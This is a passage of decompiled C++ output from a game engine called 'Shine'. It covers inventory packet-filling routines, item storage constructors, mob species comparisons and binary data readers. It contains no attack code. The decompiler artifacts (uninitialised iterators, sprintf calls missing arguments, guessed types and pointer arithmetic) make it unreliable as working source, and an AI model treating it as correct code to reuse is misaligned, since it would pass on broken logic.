[bp-4h]@6 *itemcounter = 0; v7 = (SHINE_PUT_ON_BELONGED_ITEM)bag; v8 = itmarr; if ( !bag && ((unsigned __int16)box < 0x11u ? (v9 = (SHINE_PUT_ON_BELONGED_ITEM (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)box]) : (v9 = ShineObjectClass::ShineObject::so_mh_PortalOpen), (v7 = v9((ItemAttributeClass *)&charinvenman, (ItemTotalInformation *)this)) == 0) || (ibii = (int)&ItemBoxIterator::_vftable_, v24 = v7, v26 = (*(int (__thiscall **)(SHINE_PUT_ON_BELONGED_ITEM))(*(_DWORD *)v7 + 8))(v7), ibii = (int)&ItemBoxIterItem::_vftable_, v27 = 0, !ItemBoxIterator::ibi_Home((ItemBoxIterator *)&ibii)) ) return 0; v11 = 0; if ( *from <= 0 ) { LABEL_12: v12 = 0; LABEL_13: v13 = (**(int (__stdcall ***)(_DWORD))v24)(v25); v14 = v13; v15 = *(_WORD *)(v13 + 8); v16 = *(_WORD *)(v13 + 8); if ( v16 < unk_131DE8B4 ) { v17 = unk_131DF0C4 + 32 * v16; if ( v17 ) { if ( *(_DWORD *)v17 ) { if ( **(_WORD **)v17 == v15 ) { if ( (unsigned int)v15 < unk_131DE8B4 ) { if ( unk_131DF0C4 + 32 * v15 ) { v18 = *(unsigned __int16 **)(unk_131DF0C4 + 32 * v15); if ( v18 ) { v19 = *v18; if ( v19 == v15 ) { v20 = unk_131DF0C4 + 32 * v15; goto LABEL_23; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v19 + 10000 * v15); } } } v20 = 0; LABEL_23: if ( *(_DWORD *)v20 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_FillBufferInventoryItem : Invalid ItemID found", *(_WORD *)(v14 + 8)); goto LABEL_28; } v21 = (box << 10) | v8->location.Inven & 0x3FF; v8->location.Inven = v21; v8->location.Inven = v21 ^ (v25 ^ (unsigned __int16)v21) & 0x3FF; v22 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v14, *(ItemAttributeClass **)(v14 + 112), *(_WORD *)(v14 + 8), (char *)&v8->info)[2 - ((_BYTE)v8 + 3)]; v8->datasize = v22; ++*itemcounter; v8 = (PROTO_ITEMPACKET_INFORM *)((char *)v8 + (unsigned __int8)v22 + 1); v12 = (char *)v8 - (char *)itmarr; ++*from; if ( (signed int)((char *)v8 - (char *)itmarr) < buffersize ) { LABEL_28: while ( v25 < v26 - 1 ) { ++v25; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) goto LABEL_13; } } return v12; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", **(_WORD **)v17 + 10000 * v15); } } } return 0; } while ( v25 < v26 - 1 ) { ++v25; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) { ++v11; if ( v11 >= *from ) goto LABEL_12; } } return 0; } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (005DE7E0) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr) { PROTO_ITEMPACKET_INFORM *v3; // esi@1 int v4; // ebp@1 signed int v5; // edi@1 SHINE_PUT_ON_BELONGED_ITEM (__thiscall *v6)(ItemAttributeClass *, ItemTotalInformation *); // eax@3 SHINE_PUT_ON_BELONGED_ITEM v7; // eax@5 int v8; // eax@9 int v9; // ebp@9 unsigned __int16 v10; // dx@9 unsigned int v11; // eax@9 int v12; // ecx@10 unsigned __int16 *v13; // ecx@11 unsigned __int16 v14; // cx@12 unsigned __int16 *v15; // edi@14 int v16; // edi@17 unsigned __int16 v17; // cx@19 unsigned __int16 v18; // ax@25 char v19; // al@25 signed int v21; // [sp+10h] [bp-24h]@1 ItemTotalInformation *iti; // [sp+14h] [bp-20h]@1 ItemBoxIterItem thisa; // [sp+18h] [bp-1Ch]@6 int v24; // [sp+30h] [bp-4h]@6 v3 = itmarr; v4 = 0; v5 = 0; iti = (ItemTotalInformation *)this; *itemcounter = 0; v21 = 0; do { if ( (unsigned __int16)v5 < 0x11u ) v6 = (SHINE_PUT_ON_BELONGED_ITEM (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)v5]; else v6 = ShineObjectClass::ShineObject::so_mh_PortalOpen; v7 = v6((ItemAttributeClass *)&charinvenman, iti); if ( v7 != v4 ) { thisa.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; thisa.baseclass_0.ibi_itembag = (ItemBag *)v7; thisa.baseclass_0.ibi_Limit = (*(int (__thiscall **)(SHINE_PUT_ON_BELONGED_ITEM))(*(_DWORD *)v7 + 8))(v7); thisa.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; v24 = v4; thisa.baseclass_0.ibi_finger = v4; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&thisa) ) { while ( thisa.baseclass_0.ibi_finger < thisa.baseclass_0.ibi_Limit - 1 ) { ++thisa.baseclass_0.ibi_finger; if ( (unsigned __int8)thisa.baseclass_0.vfptr->ibi_isvalid(&thisa) ) goto LABEL_9; } thisa.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; goto LABEL_30; } LABEL_9: v8 = ((int (__stdcall *)(int))thisa.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(thisa.baseclass_0.ibi_finger); v9 = v8; v10 = *(_WORD *)(v8 + 8); v11 = *(_WORD *)(v8 + 8); if ( v11 >= unk_131DE8B4 || (v12 = unk_131DF0C4 + 32 * v11) == 0 || (v13 = *(unsigned __int16 **)v12) == 0 ) goto LABEL_14; v14 = *v13; if ( v14 != v10 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v11); LABEL_14: v15 = 0; LABEL_23: if ( v15 ) { v18 = v3->location.Inven & 0x3FF | ((_WORD)v21 << 10); v3->location.Inven = v18; v3->location.Inven = v18 ^ (LOWORD(thisa.baseclass_0.ibi_finger) ^ v18) & 0x3FF; v19 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v9, *(ItemAttributeClass **)(v9 + 112), *(_WORD *)(v9 + 8), (char *)&v3->info)[-(_BYTE)v3 - 1]; v3->datasize = v19; v3 = (PROTO_ITEMPACKET_INFORM *)((char *)v3 + (unsigned __int8)v19 + 1); ++*itemcounter; } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_fullbuffertotal : Invalid ItemID found", *(_WORD *)(v9 + 8)); } while ( thisa.baseclass_0.ibi_finger < thisa.baseclass_0.ibi_Limit - 1 ) { ++thisa.baseclass_0.ibi_finger; if ( (unsigned __int8)thisa.baseclass_0.vfptr->ibi_isvalid(&thisa) ) goto LABEL_9; } v5 = v21; thisa.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; v4 = 0; LABEL_30: v24 = -1; goto LABEL_31; } if ( (unsigned int)v10 < unk_131DE8B4 ) { v16 = unk_131DF0C4 + 32 * v10; if ( v16 ) { if ( *(_DWORD *)v16 ) { v17 = **(_WORD **)v16; if ( v17 == v10 ) { LABEL_22: v15 = *(unsigned __int16 **)v16; goto LABEL_23; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v17 + 10000 * v10); } } } v16 = 0; goto LABEL_22; } LABEL_31: ++v5; v21 = v5; } while ( v5 < 17 ); return (char *)v3 - (char *)itmarr; } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (005DEA40) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferInventoryTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int buffersize) { PROTO_ITEMPACKET_TOTAL *v6; // esi@1 SHINE_PUT_ON_BELONGED_ITEM (__thiscall *v7)(ItemAttributeClass *, ItemTotalInformation *); // eax@2 SHINE_PUT_ON_BELONGED_ITEM v8; // eax@4 int v10; // edi@7 int v11; // ebx@11 int v12; // eax@12 int v13; // edi@12 unsigned __int16 v14; // bp@12 unsigned int v15; // eax@12 int v16; // eax@13 unsigned __int16 *v17; // ecx@18 unsigned __int16 v18; // cx@19 int v19; // eax@21 int v20; // eax@26 char v21; // al@26 int ibii; // [sp+Ch] [bp-1Ch]@5 SHINE_PUT_ON_BELONGED_ITEM v23; // [sp+10h] [bp-18h]@5 int v24; // [sp+14h] [bp-14h]@8 int v25; // [sp+18h] [bp-10h]@5 int v26; // [sp+24h] [bp-4h]@5 *itemcounter = 0; v6 = itmarr; if ( (unsigned __int16)box < 0x11u ) v7 = (SHINE_PUT_ON_BELONGED_ITEM (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)box]; else v7 = ShineObjectClass::ShineObject::so_mh_PortalOpen; v8 = v7((ItemAttributeClass *)&charinvenman, (ItemTotalInformation *)this); if ( !v8 || (ibii = (int)&ItemBoxIterator::_vftable_, v23 = v8, v25 = (*(int (__thiscall **)(SHINE_PUT_ON_BELONGED_ITEM))(*(_DWORD *)v8 + 8))(v8), ibii = (int)&ItemBoxIterItem::_vftable_, v26 = 0, !ItemBoxIterator::ibi_Home((ItemBoxIterator *)&ibii)) ) return 0; v10 = 0; if ( *from <= 0 ) { LABEL_11: v11 = 0; LABEL_12: v12 = (**(int (__stdcall ***)(_DWORD))v23)(v24); v13 = v12; v14 = *(_WORD *)(v12 + 8); v15 = *(_WORD *)(v12 + 8); if ( v15 < unk_131DE8B4 ) { v16 = unk_131DF0C4 + 32 * v15; if ( v16 ) { if ( *(_DWORD *)v16 ) { if ( **(_WORD **)v16 == v14 ) { if ( (unsigned int)v14 < unk_131DE8B4 ) { if ( unk_131DF0C4 + 32 * v14 ) { v17 = *(unsigned __int16 **)(unk_131DF0C4 + 32 * v14); if ( v17 ) { v18 = *v17; if ( v18 == v14 ) { v19 = unk_131DF0C4 + 32 * v14; goto LABEL_22; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v18 + 10000 * v14); } } } v19 = 0; LABEL_22: if ( *(_DWORD *)v19 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_FillBufferInventoryTotal : Invalid ItemID found", *(_WORD *)(v13 + 8)); goto LABEL_27; } v20 = (box << 10) | v6->location.Inven & 0x3FF; v6->location.Inven = v20; v6->location.Inven = v20 ^ (v24 ^ (unsigned __int16)v20) & 0x3FF; v21 = (char)&ItemTotalInformation::iti_fill2buffer_whole( (ItemTotalInformation *)v13, *(ItemAttributeClass **)(v13 + 112), *(_WORD *)(v13 + 8), v6->info.iti_registnum.binary.gap0)[2 - ((_BYTE)v6 + 3)]; v6->datasize = v21; ++*itemcounter; v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + (unsigned __int8)v21 + 1); v11 = (char *)v6 - (char *)itmarr; ++*from; if ( (signed int)((char *)v6 - (char *)itmarr) < buffersize ) { LABEL_27: while ( v24 < v25 - 1 ) { ++v24; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) goto LABEL_12; } } return v11; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", **(_WORD **)v16 + 10000 * v14); } } } return -1; } while ( v24 < v25 - 1 ) { ++v24; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) { ++v10; if ( v10 >= *from ) goto LABEL_11; } } return 0; } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (005DECE0) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr) { PROTO_ITEMPACKET_TOTAL *v3; // esi@1 int v4; // ebp@1 signed int v5; // edi@1 SHINE_PUT_ON_BELONGED_ITEM (__thiscall *v6)(ItemAttributeClass *, ItemTotalInformation *); // eax@4 SHINE_PUT_ON_BELONGED_ITEM v7; // eax@6 int v8; // eax@10 int v9; // edi@10 __int16 v10; // dx@10 unsigned int v11; // eax@10 int v12; // ebx@11 unsigned __int16 v13; // cx@13 int v14; // eax@15 int v15; // eax@20 char v16; // al@20 signed int box; // [sp+10h] [bp-24h]@1 ItemTotalInformation *v19; // [sp+14h] [bp-20h]@1 int ibii; // [sp+18h] [bp-1Ch]@7 SHINE_PUT_ON_BELONGED_ITEM v21; // [sp+1Ch] [bp-18h]@7 int v22; // [sp+20h] [bp-14h]@7 int v23; // [sp+24h] [bp-10h]@7 int v24; // [sp+30h] [bp-4h]@7 v3 = itmarr; v4 = 0; v5 = 0; v19 = (ItemTotalInformation *)this; *itemcounter = 0; box = 0; while ( 1 ) { if ( (unsigned __int16)v5 < 0x11u ) v6 = (SHINE_PUT_ON_BELONGED_ITEM (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)v5]; else v6 = ShineObjectClass::ShineObject::so_mh_PortalOpen; v7 = v6((ItemAttributeClass *)&charinvenman, v19); if ( v7 != v4 ) { ibii = (int)&ItemBoxIterator::_vftable_; v21 = v7; v23 = (*(int (__thiscall **)(SHINE_PUT_ON_BELONGED_ITEM))(*(_DWORD *)v7 + 8))(v7); ibii = (int)&ItemBoxIterItem::_vftable_; v24 = v4; v22 = v4; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) ) { while ( v22 < v23 - 1 ) { ++v22; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) goto LABEL_10; } ibii = (int)&ItemBoxIterator::_vftable_; goto LABEL_25; } LABEL_10: v8 = (**(int (__stdcall ***)(_DWORD))v21)(v22); v9 = v8; v10 = *(_WORD *)(v8 + 8); v11 = *(_WORD *)(v8 + 8); if ( v11 < unk_131DE8B4 ) { v12 = unk_131DF0C4 + 32 * v11; if ( v12 ) { if ( *(_DWORD *)v12 ) { v13 = **(_WORD **)v12; if ( v13 == v10 ) { v14 = unk_131DF0C4 + 32 * v11; goto LABEL_16; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v13 + 10000 * v11); } } } v14 = 0; LABEL_16: if ( *(_DWORD *)v14 != 0 ) { v15 = (box << 10) | v3->location.Inven & 0x3FF; v3->location.Inven = v15; v3->location.Inven = v15 ^ (v22 ^ (unsigned __int16)v15) & 0x3FF; v16 = (char)&ItemTotalInformation::iti_fill2buffer_whole( (ItemTotalInformation *)v9, *(ItemAttributeClass **)(v9 + 112), *(_WORD *)(v9 + 8), v3->info.iti_registnum.binary.gap0)[-(_BYTE)v3 - 1]; v3->datasize = v16; v3 = (PROTO_ITEMPACKET_TOTAL *)((char *)v3 + (unsigned __int8)v16 + 1); ++*itemcounter; } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_fullbuffertotal : Invalid ItemID found", *(_WORD *)(v9 + 8)); } while ( v22 < v23 - 1 ) { ++v22; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) goto LABEL_10; } v5 = box; ibii = (int)&ItemBoxIterator::_vftable_; LABEL_25: v24 = -1; } ++v5; box = v5; if ( v5 >= 17 ) return (char *)v3 - (char *)itmarr; v4 = 0; } } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (005DEF00) -------------------------------------------------------- void __thiscall ItemBag::ib_clear(ItemBag *this) { int v1; // eax@4 int v2; // edx@8 int iter; // [sp+4h] [bp-1Ch]@1 ItemBag *v4; // [sp+8h] [bp-18h]@1 int v5; // [sp+Ch] [bp-14h]@1 int v6; // [sp+10h] [bp-10h]@1 int v7; // [sp+1Ch] [bp-4h]@1 v4 = this; v6 = ((int (__cdecl *)(_UNKNOWN *))this->vfptr->ib_BagSizeOutput)(&ItemBoxIterator::_vftable_); v7 = 0; v5 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(int *))iter)(&iter) ) { LABEL_4: LOBYTE(v1) = 1; } else { while ( v5 < v6 - 1 ) { ++v5; if ( (unsigned __int8)(*(int (__thiscall **)(int *))iter)(&iter) ) goto LABEL_4; } LOBYTE(v1) = 0; } v1 = (unsigned __int8)v1; if ( (_BYTE)v1 ) { LABEL_8: v2 = ((int (__stdcall *)(int))v4->vfptr->ib_GetInventoryCell)(v5); *(_DWORD *)v2 = -1; *(_DWORD *)(v2 + 4) = -1; memset((void *)(v2 + 8), 0, 0x64u); *(_WORD *)(v2 + 108) = 0; *(_BYTE *)(v2 + 110) = 0; *(_WORD *)(v2 + 8) = -1; *(_DWORD *)(v2 + 112) = &itmattcontainer; while ( v5 < v6 - 1 ) { ++v5; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))iter)(&iter) ) goto LABEL_8; } } else { AssertClass::ac_AssertFail(&shineassert, "ItemBag::ib_clear : homefail", v1); } } //----- (005DF010) -------------------------------------------------------- void __thiscall ItemInventoryCell::ItemInventoryCell(ItemInventoryCell *this) { *(_DWORD *)&this->iic_Item.iti_registnum.binary.gap0[0] = -1; this->iic_Item.iti_registnum.binary._bf4 = -1; memset(&this->iic_Item.iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y) = 0; this->iic_Item.iti_itemstruct.itemid = -1; this->iic_AttrProc = (ItemAttributeClass *)&itmattcontainer; } //----- (005DF040) -------------------------------------------------------- void __thiscall ItemInventory::ItemInventory(ItemInventory *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemInventory::_vftable_; _eh_vector_constructor_iterator_( this->ii_Array, 0x74u, 144, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 6875FC: using guessed type int (__stdcall *ItemInventory___vftable_[2])(int slot); //----- (005DF0A0) -------------------------------------------------------- void __thiscall ItemEquipment::ItemEquipment(ItemEquipment *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemEquipment::_vftable_; _eh_vector_constructor_iterator_( this->ie_Array, 0x74u, 29, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 68760C: using guessed type int (__stdcall *ItemEquipment___vftable_[2])(int slot); //----- (005DF100) -------------------------------------------------------- void __thiscall ItemQuestItemBox::ItemQuestItemBox(ItemQuestItemBox *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemQuestItemBox::_vftable_; _eh_vector_constructor_iterator_( this->iqb_Array, 0x74u, 5, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 68761C: using guessed type int (__stdcall *ItemQuestItemBox___vftable_[2])(int slot); //----- (005DF160) -------------------------------------------------------- void __thiscall ItemAccountStorage::ItemAccountStorage(ItemAccountStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemAccountStorage::_vftable_; _eh_vector_constructor_iterator_( this->ias_Array, 0x74u, 576, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 68762C: using guessed type int (__stdcall *ItemAccountStorage___vftable_[2])(int slot); //----- (005DF1C0) -------------------------------------------------------- void __thiscall ItemMiniHouseBox::ItemMiniHouseBox(ItemMiniHouseBox *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemMiniHouseBox::_vftable_; _eh_vector_constructor_iterator_( this->imhb_Array, 0x74u, 35, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 68763C: using guessed type int (__stdcall *ItemMiniHouseBox___vftable_[2])(int slot); //----- (005DF220) -------------------------------------------------------- void __thiscall ItemGuildStorage::ItemGuildStorage(ItemGuildStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildStorage::_vftable_; _eh_vector_constructor_iterator_( this->igs_Array, 0x74u, 36, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 68764C: using guessed type int (__stdcall *ItemGuildStorage___vftable_[2])(int slot); //----- (005DF280) -------------------------------------------------------- void __thiscall ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildAcademyRewardStorage::_vftable_; _eh_vector_constructor_iterator_( this->igars_Array, 0x74u, 72, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 68765C: using guessed type int (__stdcall *ItemGuildAcademyRewardStorage___vftable_[2])(int slot); //----- (005DF2E0) -------------------------------------------------------- void __thiscall ItemFurnicherBox::ItemFurnicherBox(ItemFurnicherBox *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemFurnicherBox::_vftable_; _eh_vector_constructor_iterator_( this->ifm_Array, 0x74u, 98, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 68766C: using guessed type int (__stdcall *ItemFurnicherBox___vftable_[2])(int slot); //----- (005DF340) -------------------------------------------------------- void __thiscall ItemActionItemBox::ItemActionItemBox(ItemActionItemBox *this) { this->baseclass_0.vfptr = (ItemSmallBagVtbl *)ItemActionItemBox::_vftable_; _eh_vector_constructor_iterator_( this->iaib_Array, 0x14u, 42, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 687858: using guessed type int (__stdcall *ItemActionItemBox___vftable_[2])(int slot); //----- (005DF3A0) -------------------------------------------------------- int __thiscall ItemActionItemBox::isb_BagSizeInput(ItemActionItemBox *this, ChargedEffectContainer *cec) { return 42; } //----- (005DF3B0) -------------------------------------------------------- int __thiscall ItemActionItemBox::isb_BagSizeOutput(ItemActionItemBox *this) { return 42; } //----- (005DF3C0) -------------------------------------------------------- ItemInventorySmallCell *__thiscall ItemActionItemBox::isb_GetInventoryCell(ItemActionItemBox *this, int slot) { ItemActionItemBox *v2; // esi@1 ItemInventorySmallCell *result; // eax@2 v2 = this; if ( slot >= ((int (*)(void))this->baseclass_0.vfptr->isb_BagSizeOutput)() ) { word_14F0DA14 = -1; dword_14F0DA1C = (int)&itmattcontainer; result = (ItemInventorySmallCell *)&ItemActionItemBox::iaib_Default; } else { result = &v2->iaib_Array[slot]; } return result; } // 14F0DA14: using guessed type __int16 word_14F0DA14; // 14F0DA1C: using guessed type int dword_14F0DA1C; //----- (005DF400) -------------------------------------------------------- void __thiscall ItemActionItemBox::_ItemActionItemBox(ItemActionItemBox *this) { ItemActionItemBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemSmallBagVtbl *)ItemActionItemBox::_vftable_; _eh_vector_destructor_iterator_( this->iaib_Array, 0x14u, 42, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemSmallBagVtbl *)ItemSmallBag::_vftable_; } // 6876C8: using guessed type int (*ItemSmallBag_ItemInform_ActionItem____vftable_[3])(); // 687858: using guessed type int (__stdcall *ItemActionItemBox___vftable_[2])(int slot); //----- (005DF460) -------------------------------------------------------- void __thiscall ItemRewardStorage::ItemRewardStorage(ItemRewardStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemRewardStorage::_vftable_; _eh_vector_constructor_iterator_( this->irs_Array, 0x74u, 24, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 68767C: using guessed type int (__stdcall *ItemRewardStorage___vftable_[2])(int slot); //----- (005DF4C0) -------------------------------------------------------- int __thiscall ItemRewardStorage::irs_FillBufferItem(ItemRewardStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr) { PROTO_ITEMPACKET_INFORM *v3; // esi@1 int v4; // eax@4 unsigned __int16 v5; // dx@5 char v6; // al@5 int ibi; // [sp+8h] [bp-1Ch]@1 ItemRewardStorage *v9; // [sp+Ch] [bp-18h]@1 int v10; // [sp+10h] [bp-14h]@1 int v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v3 = itmarr; *itemcounter = 0; ibi = (int)&ItemBoxIterator::_vftable_; v9 = this; v11 = ((int (*)(void))this->baseclass_0.vfptr->ib_BagSizeOutput)(); ibi = (int)&ItemBoxIterItem::_vftable_; v12 = 0; v10 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibi) ) { LABEL_4: v4 = ((int (__stdcall *)(int))v9->baseclass_0.vfptr->ib_GetInventoryCell)(v10); if ( v4 ) { v5 = v3->location.Inven & 0x3FF | 0x800; v3->location.Inven = v5; v3->location.Inven = v5 ^ (v10 ^ v5) & 0x3FF; v6 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v4, *(ItemAttributeClass **)(v4 + 112), *(_WORD *)(v4 + 8), (char *)&v3->info)[2 - ((_BYTE)v3 + 3)]; v3->datasize = v6; v3 = (PROTO_ITEMPACKET_INFORM *)((char *)v3 + (unsigned __int8)v6 + 1); ++*itemcounter; while ( v10 < v11 - 1 ) { ++v10; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibi)(&ibi) ) goto LABEL_4; } } } else { while ( v10 < v11 - 1 ) { ++v10; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibi)(&ibi) ) goto LABEL_4; } } return (char *)v3 - itemcounter; } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (005DF600) -------------------------------------------------------- int __thiscall MobDataBox::mdb_SpeciesDistance(MobDataBox *this, unsigned __int16 mobA, unsigned __int16 mobB) { unsigned int v3; // esi@3 MobDataBox::MobDataBoxIndex *v4; // esi@5 int v5; // eax@5 int v6; // edx@6 MobSpecies *v7; // ecx@7 MobSpecies *v8; // edx@7 int v9; // ebp@9 const char *v10; // edi@9 int v11; // eax@9 int result; // eax@13 if ( mobA == -1 || mobB == -1 ) { result = -1; } else { v3 = this->mdb_maxmobhandle; if ( mobA >= v3 || mobB >= v3 ) { result = -1; } else { v4 = this->mdb_index; v5 = mobA; if ( v4[v5].data && (v6 = mobB, v4[v6].data) && (v7 = v4[v5].species, v8 = v4[v6].species, v7) && v8 ) { v9 = 0; v10 = (const char *)v7->MobName; v11 = (char *)v8 - (char *)v7; while ( *v10 == 45 || strcmp(v10, &v10[v11]) ) { ++v9; v10 += 33; if ( v9 >= 4 ) return -1; } result = v9; } else { result = -1; } } } return result; } //----- (005DF6E0) -------------------------------------------------------- bool __thiscall MobDataBox::mdb_IsSpeciesDistanceByQuest(MobDataBox *this, unsigned __int16 mobA, unsigned __int16 mobB, char TatgetGroup) { MobDataBox::MobDataBoxIndex *v4; // eax@4 QuestSpecies *v5; // edx@4 QuestSpecies *v6; // esi@4 int v7; // ecx@7 const char *v8; // eax@7 return mobA != -1 && mobB != -1 && (mobA == mobB || (v4 = this->mdb_index, v5 = v4[mobA].questspecies, v6 = v4[mobB].questspecies, v5) && v6 && (unsigned __int8)TatgetGroup < 4u && (v7 = (unsigned __int8)TatgetGroup, v8 = v5->MobGroupName[v7], *v8 != 45) && !strcmp(v8, v6->MobGroupName[v7])); } //----- (005DF780) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x4A9u, 0x6Cu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DF830) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1B18u, 0xA3u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DF8F0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // 